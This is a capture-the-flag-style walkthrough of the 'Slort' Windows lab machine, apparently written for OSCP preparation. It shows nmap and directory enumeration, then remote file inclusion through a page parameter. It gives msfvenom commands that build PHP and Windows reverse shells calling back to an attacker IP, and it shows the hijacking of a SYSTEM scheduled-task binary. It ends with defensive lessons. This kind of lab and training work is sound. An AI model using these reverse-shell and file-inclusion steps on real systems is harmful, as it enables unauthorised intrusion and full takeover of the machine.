🔥 slort windows Walkthrough (Proving-ground-paly-OSCP)

By cyber_public_school | Cyber Security Researcher

Preparing for OSCP | Sharing Practical Labs & Real-World Attack Analysis

Step 1: Reconnaissance

Nmap Scan

nmap -A -sCV — min-rate 1000 192.168.220.53

XAMPP stack running on ports 4443 and 8080 with PHP 7.4.6. FileZilla FTP on port 21. MariaDB on 3306. Two Apache instances suggest multiple web applications.

Directory Enumeration

feroxbuster -u http://192.168.220.53:4443 -w /usr/share/wordlists/dirb/common.txt -x php

Two directories found: /Site/ and /Suite/. Browsing to /Site/index.php revealed URL parameter ?page=main.php — a classic RFI/LFI indicator.

Step 2: Remote File Inclusion (RFI) Discovery

The URL http://192.168.220.53:4443/Site/index.php?page=main.php revealed the page parameter includes PHP files. Testing with a remote URL confirmed RFI — the server fetched our file!

Step 3: Exploitation — RFI to Reverse Shell

Create PHP Reverse Shell

msfvenom -p php/reverse_php LHOST=192.168.45.213 LPORT=1234 -f raw > shell.php

Host & Execute via RFI

python3 -m http.server 8000 &

**http://192.168.220.53:4443/Site/index.php?page=http://192.168.45.213:8000/shell.php**

nc -nvlp 1234

Local.txt

Step 4: Privilege Escalation — TFTP.EXE Hijacking

Discover C:\Backup Directory

info.txt revealed a scheduled task running TFTP.EXE every 5 minutes. Since TFTP.EXE was world-writable, we replaced it with a malicious reverse shell executable!

Replace TFTP.EXE with Malicious EXE

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.213 LPORT=4444 -f exe > TFTP.EXE

python3 -m http.server 8000

Upload tftp.exe file in same location

SYSTEM Shell Received

Step 5: Capture Flags

Key Learnings

• Remote File Inclusion (RFI) — The ?page= parameter included remote PHP files without validation. allow_url_include must be disabled in php.ini and user input must never be used directly in file inclusion functions.

• XAMPP Misconfiguration — XAMPP was running in production with default settings including allow_url_include=On. XAMPP is a development stack and must never be used in production environments.

• Writable Scheduled Task Binary — C:\Backup\TFTP.EXE was world-writable and executed by a SYSTEM scheduled task every 5 minutes. Executables run by privileged tasks must have strict ACLs.

• Information Disclosure — info.txt in C:\Backup directly described the scheduled task. Sensitive operational information must never be stored in plaintext files accessible to low-privileged users.

• Binary Hijacking — Replacing TFTP.EXE with a reverse shell gave SYSTEM access within 5 minutes. Binary planting attacks are highly effective against misconfigured scheduled tasks.